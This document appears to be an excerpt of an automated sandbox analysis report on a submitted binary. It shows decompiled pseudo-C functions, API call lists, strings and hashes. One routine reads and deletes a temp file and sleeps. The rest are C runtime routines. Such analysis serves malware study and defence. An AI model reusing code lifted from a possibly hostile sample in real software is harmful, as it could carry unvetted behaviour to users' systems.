						} else {
							E012316A0( &_v268, 0x104, "LAE:%08x", GetLastError());
							_t107 =  &_v268;
							_t96 = _t107 + 1;
							do {
								_t66 =  *_t107;
								_t107 = _t107 + 1;
							} while (_t66 != 0);
							goto L11;
						}
					} else {
						E012316A0( &_v268, 0x104, "GFSE:%08x", GetLastError());
						_t109 =  &_v268;
						_t96 = _t109 + 1;
						do {
							_t75 =  *_t109;
							_t109 = _t109 + 1;
						} while (_t75 != 0);
						L11:
						E01231A90( &_v268, _t107 - _t96);
						CloseHandle(_t113);
						DeleteFileA("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DC.tmp");
						_pop(_t87);
						return E01232550(_t87, _v8 ^ _t119, _t107 - _t96, _t112, _t113);
					}
				} else {
					E012316A0( &_v268, 0x104, "CFE:%08x", GetLastError());
					_t110 =  &_v268;
					_t100 = _t110 + 1;
					do {
						_t79 =  *_t110;
						_t110 = _t110 + 1;
					} while (_t79 != 0);
					E01231A90( &_v268, _t110 - _t100);
					return E01232550(__ebx, _v8 ^ _t119, _t110 - _t100, 0, _t113);
				}
			}

0x01231c29
0x01231c30
0x01231c3a
0x01231c3c
0x01231c4e
0x01231c71
0x01231c76
0x01231cc7
0x01231cd1
0x01231cd5
0x01231d09
0x01231d0f
0x01231d15
0x01231d1d
0x01231d83
0x01231d95
0x01231e06
0x01231e11
0x01231e1e
0x01231e28
0x01231e2a
0x01231e30
0x01231e32
0x01231e39
0x01231e3e
0x01231e46
0x01231e46
0x01231e4e
0x01231e57
0x01231e5d
0x01231e66
0x01231e66
0x01231e67
0x01231e67
0x01231e73
0x01231e75
0x01231e78
0x01231e82
0x01231e84
0x01231e8a
0x01231e30
0x01231e94
0x01231ea2
0x01231eaf
0x01231d97
0x01231daf
0x01231db4
0x01231dbd
0x01231dc0
0x01231dc0
0x01231dc2
0x01231dc3
0x01231dcf
0x01231dda
0x01231de1
0x01231dec
0x01231df2
0x01231e04
0x01231e04
0x01231d1f
0x01231d37
0x01231d3c
0x01231d45
0x01231d48
0x01231d48
0x01231d4a
0x01231d4b
0x00000000
0x01231d48
0x01231cd7
0x01231cef
0x01231cf4
0x01231cfd
0x01231d00
0x01231d00
0x01231d02
0x01231d03
0x01231d4f
0x01231d57
0x01231d5d
0x01231d68
0x01231d6e
0x01231d80
0x01231d80
0x01231c78
0x01231c90
0x01231c95
0x01231c9e
0x01231ca1
0x01231ca1
0x01231ca3
0x01231ca4
0x01231cb0
0x01231cc6
0x01231cc6

APIs

CreateFileA.KERNEL32(C:\Users\user\AppData\Local\Temp\TMPE5DC.tmp,80000000,00000001,00000000,00000003,00000080,00000000), ref: 01231C6B
GetLastError.KERNEL32 ref: 01231C78
GetFileSize.KERNEL32(00000000,00000000), ref: 01231CCB
GetLastError.KERNEL32 ref: 01231CD7
LocalAlloc.KERNEL32(00000040,00000020), ref: 01231D0F
GetLastError.KERNEL32 ref: 01231D1F
CloseHandle.KERNEL32(00000000), ref: 01231D5D
DeleteFileA.KERNEL32(C:\Users\user\AppData\Local\Temp\TMPE5DC.tmp), ref: 01231D68
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 01231D8D
GetLastError.KERNEL32 ref: 01231D97
LocalFree.KERNEL32(?), ref: 01231DDA
CloseHandle.KERNEL32(00000000), ref: 01231DE1
DeleteFileA.KERNEL32(C:\Users\user\AppData\Local\Temp\TMPE5DC.tmp), ref: 01231DEC
CloseHandle.KERNEL32(00000000), ref: 01231E06
DeleteFileA.KERNEL32(C:\Users\user\AppData\Local\Temp\TMPE5DC.tmp), ref: 01231E11
GetTickCount.KERNEL32 ref: 01231E17
Sleep.KERNEL32(00002710), ref: 01231E84
LocalFree.KERNEL32(?), ref: 01231E94

Strings

GFSE:%08x, xrefs: 01231CDE
RFE:%08x, xrefs: 01231D9E
LAE:%08x, xrefs: 01231D26
C:\Users\user\AppData\Local\Temp\TMPE5DC.tmp, xrefs: 01231C66, 01231D63, 01231DE7, 01231E0C
CFE:%08x, xrefs: 01231C7F

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: File$ErrorLast$CloseDeleteHandleLocal$Free$AllocCountCreateReadSizeSleepTick
String ID: C:\Users\user\AppData\Local\Temp\TMPE5DC.tmp$CFE:%08x$GFSE:%08x$LAE:%08x$RFE:%08x
API String ID: 1169547061-3737964938
Opcode ID: feb69d358683f3625693b847a64f17ec7b08f61cb3d5064c7dd3f62fd4670ad9
Instruction ID: 6696fbe3ee7915a38c715d8cfdd76171a372c90f4eeeca3f996221419a408d40
Opcode Fuzzy Hash: feb69d358683f3625693b847a64f17ec7b08f61cb3d5064c7dd3f62fd4670ad9
Instruction Fuzzy Hash: BC6168B5920115DFDB25EFA9FC48BF97379EFA5300F000194FA4A96181DFB14A85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0123D68D, Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0123D68D(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t92;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t115;
				signed int _t117;
				signed char _t122;
				signed char _t127;
				signed int _t128;
				signed char* _t129;
				intOrPtr* _t130;
				signed int _t131;
				void* _t132;

				_t78 =  *0x1249004; // 0x5a4607f2
				_v8 = _t78 ^ _t131;
				_t80 = _a8;
				_t117 = _t80 >> 6;
				_t115 = (_t80 & 0x0000003f) * 0x30;
				_t129 = _a12;
				_v52 = _t129;
				_v48 = _t117;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x1249d38 + _t117 * 4)) + _t115 + 0x18));
				_v40 = _a16 + _t129;
				_t86 = GetConsoleCP();
				_t130 = _a4;
				_v60 = _t86;
				 *_t130 = 0;
				 *((intOrPtr*)(_t130 + 4)) = 0;
				 *((intOrPtr*)(_t130 + 8)) = 0;
				while(_t129 < _v40) {
					_v28 = 0;
					_v31 =  *_t129;
					_t128 =  *(0x1249d38 + _v48 * 4);
					_t122 =  *(_t128 + _t115 + 0x2d);
					if((_t122 & 0x00000004) == 0) {
						_t92 = E0123830B(_t115, _t128);
						_t128 = 0x8000;
						if(( *(_t92 + ( *_t129 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t129);
							goto L8;
						} else {
							if(_t129 >= _v40) {
								_t128 = _v48;
								 *((char*)( *((intOrPtr*)(0x1249d38 + _t128 * 4)) + _t115 + 0x2e)) =  *_t129;
								 *( *((intOrPtr*)(0x1249d38 + _t128 * 4)) + _t115 + 0x2d) =  *( *((intOrPtr*)(0x1249d38 + _t128 * 4)) + _t115 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t130 + 4)) =  *((intOrPtr*)(_t130 + 4)) + 1;
							} else {
								_t112 = E01237101( &_v28, _t129, 2);
								_t132 = _t132 + 0xc;
								if(_t112 != 0xffffffff) {
									_t129 =  &(_t129[1]);
									goto L9;
								}
							}
						}
					} else {
						_t127 = _t122 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t128 + _t115 + 0x2e));
						_push(2);
						_v15 = _t127;
						 *(_t128 + _t115 + 0x2d) = _t127;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E01237101();
						_t132 = _t132 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t129 =  &(_t129[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t130 = GetLastError();
								} else {
									 *((intOrPtr*)(_t130 + 4)) =  *((intOrPtr*)(_t130 + 8)) - _v52 + _t129;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t130 + 8)) =  *((intOrPtr*)(_t130 + 8)) + 1;
													 *((intOrPtr*)(_t130 + 4)) =  *((intOrPtr*)(_t130 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E01232550(_t115, _v8 ^ _t131, _t128, _t129, _t130);
			}

0x0123d695
0x0123d69c
0x0123d69f
0x0123d6a7
0x0123d6ab
0x0123d6b7
0x0123d6ba
0x0123d6bd
0x0123d6c4
0x0123d6cc
0x0123d6cf
0x0123d6d5
0x0123d6db
0x0123d6e0
0x0123d6e2
0x0123d6e5
0x0123d6ea
0x0123d6f4
0x0123d6fb
0x0123d6fe
0x0123d705
0x0123d70c
0x0123d727
0x0123d72f
0x0123d738
0x0123d75e
0x0123d760
0x00000000
0x0123d73a
0x0123d73d
0x0123d804
0x0123d810
0x0123d81b
0x0123d820
0x0123d743
0x0123d74a
0x0123d74f
0x0123d755
0x0123d75b
0x00000000
0x0123d75b
0x0123d755
0x0123d73d
0x0123d70e
0x0123d712
0x0123d715
0x0123d71b
0x0123d71d
0x0123d720
0x0123d724
0x0123d761
0x0123d764
0x0123d765
0x0123d76a
0x0123d770
0x0123d776
0x0123d785
0x0123d78b
0x0123d791
0x0123d796
0x0123d7b2
0x0123d825
0x0123d82b
0x0123d7b4
0x0123d7bc
0x0123d7c5
0x0123d7cb
0x00000000
0x0123d7cd
0x0123d7cf
0x0123d7d2
0x0123d7eb
0x00000000
0x0123d7ed
0x0123d7f1
0x0123d7f3
0x0123d7f6
0x00000000
0x0123d7f6
0x0123d7f1
0x0123d7eb
0x0123d7cb
0x0123d7c5
0x0123d7b2
0x0123d796
0x0123d770
0x00000000
0x0123d7f9
0x0123d7f9
0x0123d82d
0x0123d83f

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,0123DE02,00000000,00000000,00000000,00000000,00000000,?), ref: 0123D6CF
__fassign.LIBCMT ref: 0123D74A
__fassign.LIBCMT ref: 0123D765
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0123D78B
WriteFile.KERNEL32(?,00000000,00000000,0123DE02,00000000,?,?,?,?,?,?,?,?,?,0123DE02,00000000), ref: 0123D7AA
WriteFile.KERNEL32(?,00000000,00000001,0123DE02,00000000,?,?,?,?,?,?,?,?,?,0123DE02,00000000), ref: 0123D7E3

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 8c597bef3f668ddd229526b6db6abb7d8ddd3e323c2016eae0418da139308069
Instruction ID: 782569e766cd91b82caa4188d66d68fbf3ca2d873b20bf892692bda33f382d20
Opcode Fuzzy Hash: 8c597bef3f668ddd229526b6db6abb7d8ddd3e323c2016eae0418da139308069
Instruction Fuzzy Hash: 8351C3F5D102499FDB21CFA8E885BEEBBF9EF48300F14411AE655E7241E670A941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0123AC03, Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0123AC03(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t49;
				signed int _t54;
				int _t58;
				signed int _t60;
				short* _t62;
				signed int _t66;
				short* _t70;
				int _t71;
				int _t78;
				void* _t80;
				short* _t81;
				signed int _t87;
				signed int _t90;
				void* _t95;
				int _t97;
				void* _t98;
				short* _t100;
				int _t102;
				void* _t103;
				signed int _t105;
				short* _t106;
				void* _t109;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x1249004; // 0x5a4607f2
				_v8 = _t49 ^ _t105;
				_t102 = _a20;
				if(_t102 > 0) {
					_t78 = E0123D349(_a16, _t102);
					_t109 = _t78 - _t102;
					_t4 = _t78 + 1; // 0x1
					_t102 = _t4;
					if(_t109 >= 0) {
						_t102 = _t78;
					}
				}
				_t97 = _a32;
				if(_t97 == 0) {
					_t97 =  *( *_a4 + 8);
					_a32 = _t97;
				}
				_t54 = MultiByteToWideChar(_t97, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t102, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					_pop(_t98);
					_pop(_t103);
					_pop(_t80);
					return E01232550(_t80, _v8 ^ _t105, _t95, _t98, _t103);
				} else {
					_t95 = _t54 + _t54;
					_t85 = _t95 + 8;
					asm("sbb eax, eax");
					if((_t95 + 0x00000008 & _t54) == 0) {
						_t81 = 0;
						__eflags = 0;
						L14:
						if(_t81 == 0) {
							L36:
							_t104 = 0;
							L37:
							E01239D68(_t81);
							goto L38;
						}
						_t58 = MultiByteToWideChar(_t97, 1, _a16, _t102, _t81, _v12);
						_t120 = _t58;
						if(_t58 == 0) {
							goto L36;
						}
						_t99 = _v12;
						_t60 = E01239575(_t81, _t85, _v12, _t120, _a8, _a12, _t81, _v12, 0, 0, 0, 0, 0);
						_t104 = _t60;
						if(_t104 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t95 = _t104 + _t104;
							_t87 = _t95 + 8;
							__eflags = _t95 - _t87;
							asm("sbb eax, eax");
							__eflags = _t87 & _t60;
							if((_t87 & _t60) == 0) {
								_t100 = 0;
								__eflags = 0;
								L30:
								__eflags = _t100;
								if(__eflags == 0) {
									L35:
									E01239D68(_t100);
									goto L36;
								}
								_t62 = E01239575(_t81, _t87, _t100, __eflags, _a8, _a12, _t81, _v12, _t100, _t104, 0, 0, 0);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t104 = WideCharToMultiByte(_a32, 0, _t100, _t104, ??, ??, ??, ??);
								__eflags = _t104;
								if(_t104 != 0) {
									E01239D68(_t100);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t90 = _t95 + 8;
							__eflags = _t95 - _t90;
							asm("sbb eax, eax");
							_t66 = _t60 & _t90;
							_t87 = _t95 + 8;
							__eflags = _t66 - 0x400;
							if(_t66 > 0x400) {
								__eflags = _t95 - _t87;
								asm("sbb eax, eax");
								_t100 = E01236508(_t87, _t66 & _t87);
								_pop(_t87);
								__eflags = _t100;
								if(_t100 == 0) {
									goto L35;
								}
								 *_t100 = 0xdddd;
								L28:
								_t100 =  &(_t100[4]);
								goto L30;
							}
							__eflags = _t95 - _t87;
							asm("sbb eax, eax");
							E012403C0();
							_t100 = _t106;
							__eflags = _t100;
							if(_t100 == 0) {
								goto L35;
							}
							 *_t100 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t124 = _t104 - _t70;
						if(_t104 > _t70) {
							goto L36;
						}
						_t71 = E01239575(_t81, 0, _t99, _t124, _a8, _a12, _t81, _t99, _a24, _t70, 0, 0, 0);
						_t104 = _t71;
						if(_t71 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t95 + 0x00000008;
					_t85 = _t95 + 8;
					if((_t54 & _t95 + 0x00000008) > 0x400) {
						__eflags = _t95 - _t85;
						asm("sbb eax, eax");
						_t81 = E01236508(_t85, _t72 & _t85);
						_pop(_t85);
						__eflags = _t81;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t81 = 0xdddd;
						L12:
						_t81 =  &(_t81[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E012403C0();
					_t81 = _t106;
					if(_t81 == 0) {
						goto L36;
					}
					 *_t81 = 0xcccc;
					goto L12;
				}
			}

0x0123ac08
0x0123ac09
0x0123ac0a
0x0123ac11
0x0123ac16
0x0123ac1c
0x0123ac22
0x0123ac28
0x0123ac2b
0x0123ac2b
0x0123ac2e
0x0123ac30
0x0123ac30
0x0123ac2e
0x0123ac32
0x0123ac37
0x0123ac3e
0x0123ac41
0x0123ac41
0x0123ac5d
0x0123ac63
0x0123ac68
0x0123adfb
0x0123adfe
0x0123adff
0x0123ae00
0x0123ae0e
0x0123ac6e
0x0123ac6e
0x0123ac71
0x0123ac76
0x0123ac7a
0x0123acce
0x0123acce
0x0123acd0
0x0123acd2
0x0123adf0
0x0123adf0
0x0123adf2
0x0123adf3
0x00000000
0x0123adf9
0x0123ace3
0x0123ace9
0x0123aceb
0x00000000
0x00000000
0x0123acf1
0x0123ad03
0x0123ad08
0x0123ad0c
0x00000000
0x00000000
0x0123ad19
0x0123ad53
0x0123ad56
0x0123ad59
0x0123ad5b
0x0123ad5d
0x0123ad5f
0x0123adab
0x0123adab
0x0123adad
0x0123adad
0x0123adaf
0x0123ade9
0x0123adea
0x00000000
0x0123adef
0x0123adc3
0x0123adc8
0x0123adca
0x00000000
0x00000000
0x0123adce
0x0123adcf
0x0123add0
0x0123add3
0x0123ae0f
0x0123ae12
0x0123add5
0x0123add5
0x0123add6
0x0123add6
0x0123ade3
0x0123ade5
0x0123ade7
0x0123ae18
0x00000000
0x00000000
0x00000000
0x00000000
0x0123ade7
0x0123ad61
0x0123ad64
0x0123ad66
0x0123ad68
0x0123ad6a
0x0123ad6d
0x0123ad72
0x0123ad8d
0x0123ad8f
0x0123ad99
0x0123ad9b
0x0123ad9c
0x0123ad9e
0x00000000
0x00000000
0x0123ada0
0x0123ada6
0x0123ada6
0x00000000
0x0123ada6
0x0123ad74
0x0123ad76
0x0123ad7a
0x0123ad7f
0x0123ad81
0x0123ad83
0x00000000
0x00000000
0x0123ad85
0x00000000
0x0123ad85
0x0123ad1b
0x0123ad20
0x00000000
0x00000000
0x0123ad26
0x0123ad28
0x00000000
0x00000000
0x0123ad3f
0x0123ad44
0x0123ad48
0x00000000
0x00000000
0x00000000
0x0123ad4e
0x0123ac81
0x0123ac83
0x0123ac85
0x0123ac8d
0x0123acac
0x0123acae
0x0123acb8
0x0123acba
0x0123acbb
0x0123acbd
0x00000000
0x00000000
0x0123acc3
0x0123acc9
0x0123acc9
0x00000000
0x0123acc9
0x0123ac91
0x0123ac95
0x0123ac9a
0x0123ac9e
0x00000000
0x00000000
0x0123aca4
0x00000000
0x0123aca4

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,01234B06,01234B06,?,?,?,0123AE54,00000001,00000001,8AE85006), ref: 0123AC5D
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0123AE54,00000001,00000001,8AE85006,?,?,?), ref: 0123ACE3
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8AE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0123ADDD
__freea.LIBCMT ref: 0123ADEA

Part of subcall function 01236508: RtlAllocateHeap.NTDLL(00000000,?), ref: 0123653A

__freea.LIBCMT ref: 0123ADF3
__freea.LIBCMT ref: 0123AE18

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: f5380be0d2c740c69e4a5810e1a011621c709317bcbc132c959fb891bd06a97e
Instruction ID: 4ed94de23ccfb3bbcbb30acdbec16ec9287e978c61ce9d8eac5b8b342500dbe9
Opcode Fuzzy Hash: f5380be0d2c740c69e4a5810e1a011621c709317bcbc132c959fb891bd06a97e
Instruction Fuzzy Hash: 0F51E3B262021BABEF258F68DC45EBB7BA9EF94610F144639FE45D7180EB74DC80C650

Uniqueness

Uniqueness Score: -1.00%

Function 01233220, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E01233220(void* __ebx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				void* _t48;
				char _t50;
				signed int _t56;
				intOrPtr _t57;
				void* _t58;
				intOrPtr _t61;
				char _t66;
				intOrPtr _t73;
				signed int _t76;
				char _t78;
				intOrPtr _t81;
				intOrPtr _t88;
				intOrPtr _t91;
				intOrPtr* _t93;
				void* _t97;
				void* _t99;
				void* _t107;

				_t84 = __edx;
				_push(__ebx);
				_t73 = _a8;
				_push(__esi);
				_push(__edi);
				_v5 = 0;
				_t91 = _t73 + 0x10;
				_v16 = 1;
				_v20 = _t91;
				_v12 =  *(_t73 + 8) ^  *0x1249004;
				_t48 = E012331E0(_t73, __edx, __edi, _t91,  *(_t73 + 8) ^  *0x1249004, _t91);
				_t88 = _a12;
				_push(_t88);
				E01233048(_t48);
				_t50 = _a4;
				_t99 = _t97 - 0x1c + 0xc;
				if(( *(_t50 + 4) & 0x00000066) != 0) {
					__eflags =  *((intOrPtr*)(_t73 + 0xc)) - 0xfffffffe;
					if( *((intOrPtr*)(_t73 + 0xc)) != 0xfffffffe) {
						_t84 = 0xfffffffe;
						E01233A07(_t73, 0xfffffffe, _t91, 0x1249004);
						goto L18;
					}
					goto L19;
				} else {
					_v32 = _t50;
					_v28 = _t88;
					_t88 =  *((intOrPtr*)(_t73 + 0xc));
					 *((intOrPtr*)(_t73 - 4)) =  &_v32;
					if(_t88 == 0xfffffffe) {
						L19:
						return _v16;
					} else {
						do {
							_t76 = _v12;
							_t19 = _t88 + 2; // 0x3
							_t56 = _t88 + _t19 * 2;
							_t73 =  *((intOrPtr*)(_t76 + _t56 * 4));
							_t57 = _t76 + _t56 * 4;
							_t77 =  *((intOrPtr*)(_t57 + 4));
							_v24 = _t57;
							if( *((intOrPtr*)(_t57 + 4)) == 0) {
								_t78 = _v5;
								goto L12;
							} else {
								_t84 = _t91;
								_t58 = E012339BE(_t77, _t91);
								_t78 = 1;
								_v5 = 1;
								_t107 = _t58;
								if(_t107 < 0) {
									_v16 = 0;
									L18:
									E012331E0(_t73, _t84, _t88, _t91, _v12, _t91);
									goto L19;
								} else {
									if(_t107 <= 0) {
										goto L12;
									} else {
										_t59 = _a4;
										if( *_a4 == 0xe06d7363) {
											_t109 =  *0x124a4ec;
											if( *0x124a4ec != 0) {
												_t59 = E01240080(_t109, 0x124a4ec);
												_t99 = _t99 + 4;
												if(_t59 != 0) {
													_t93 =  *0x124a4ec; // 0x0
													L01232E2E();
													_t59 =  *_t93(_a4, 1);
													_t91 = _v20;
													_t99 = _t99 + 8;
												}
											}
										}
										_t85 = _a4;
										E012339EE(_t59, _a8, _a4);
										_t61 = _a8;
										if( *((intOrPtr*)(_t61 + 0xc)) != _t88) {
											_t85 = _t88;
											E01233A07(_t61, _t88, _t91, 0x1249004);
											_t61 = _a8;
										}
										 *((intOrPtr*)(_t61 + 0xc)) = _t73;
										E012331E0(_t73, _t85, _t88, _t91, _v12, _t91);
										_t81 =  *((intOrPtr*)(_v24 + 8));
										E012339D5();
										asm("int3");
										E01233AF3();
										E01233865();
										if(E01233A88() != 0) {
											_t66 = E01233A3A(_t81, __eflags);
											__eflags = _t66;
											if(_t66 != 0) {
												E012331BB();
												return 1;
											} else {
												E01233AC4();
												goto L23;
											}
										} else {
											L23:
											return 0;
										}
									}
								}
							}
							goto L27;
							L12:
							_t88 = _t73;
							__eflags = _t73 - 0xfffffffe;
						} while (_t73 != 0xfffffffe);
						__eflags = _t78;
						if(_t78 != 0) {
							goto L18;
						}
						goto L19;
					}
				}
				L27:
			}

0x01233220
0x01233226
0x01233227
0x0123322a
0x0123322b
0x0123322c
0x01233233
0x0123323e
0x01233245
0x01233248
0x0123324b
0x01233250
0x01233253
0x01233254
0x01233259
0x0123325c
0x01233263
0x0123331d
0x01233321
0x0123332b
0x01233330
0x00000000
0x01233330
0x00000000
0x01233269
0x01233269
0x0123326f
0x01233272
0x01233275
0x0123327b
0x01233341
0x0123334a
0x01233281
0x01233281
0x01233281
0x01233284
0x01233287
0x0123328a
0x0123328d
0x01233290
0x01233293
0x01233298
0x01233300
0x00000000
0x0123329a
0x0123329a
0x0123329c
0x012332a1
0x012332a3
0x012332a6
0x012332a8
0x01233314
0x01233335
0x01233339
0x00000000
0x012332aa
0x012332aa
0x00000000
0x012332ac
0x012332ac
0x012332b5
0x012332b7
0x012332be
0x012332c5
0x012332ca
0x012332cf
0x012332d1
0x012332de
0x012332e3
0x012332e5
0x012332e8
0x012332e8
0x012332cf
0x012332be
0x012332eb
0x012332f1
0x012332f6
0x012332fc
0x01233351
0x01233355
0x0123335a
0x0123335a
0x01233361
0x01233364
0x01233371
0x01233374
0x01233379
0x0123337a
0x0123337f
0x0123338b
0x01233390
0x01233395
0x01233397
0x012333a0
0x012333a7
0x01233399
0x01233399
0x00000000
0x01233399
0x0123338d
0x0123338d
0x0123338f
0x0123338f
0x0123338b
0x012332aa
0x012332a8
0x00000000
0x01233303
0x01233303
0x01233305
0x01233305
0x0123330e
0x01233310
0x00000000
0x01233312
0x00000000
0x01233310
0x0123327b
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 0123324B
__IsNonwritableInCurrentImage.LIBCMT ref: 012332C5

Part of subcall function 01240080: __FindPESection.LIBCMT ref: 012400D9

_ValidateLocalCookies.LIBCMT ref: 01233339
_ValidateLocalCookies.LIBCMT ref: 01233364

Strings

csm, xrefs: 012332AF

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentFindImageNonwritableSection
String ID: csm
API String ID: 1685366865-1018135373
Opcode ID: 587f050d5e9e5ed8548f77023ec246f3570ae8491bc372070f9034de83884fb5
Instruction ID: 04a055f177db600160ae42d984d60073c1f9f587454cd6fb34f52f6ed59878ca
Opcode Fuzzy Hash: 587f050d5e9e5ed8548f77023ec246f3570ae8491bc372070f9034de83884fb5
Instruction Fuzzy Hash: 1A41D270E2020AABCF10DF59C884AAEBFB5BF85228F14C055EA155B341DB72AB05CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 01235CE3, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,01235C94,00000000,?,01235C34,00000000,01247C68,0000000C,01235D8B,00000000,00000002), ref: 01235D03
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 01235D16
FreeLibrary.KERNEL32(00000000,?,?,?,01235C94,00000000,?,01235C34,00000000,01247C68,0000000C,01235D8B,00000000,00000002), ref: 01235D39

Strings

CorExitProcess, xrefs: 01235D0E
mscoree.dll, xrefs: 01235CFC

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

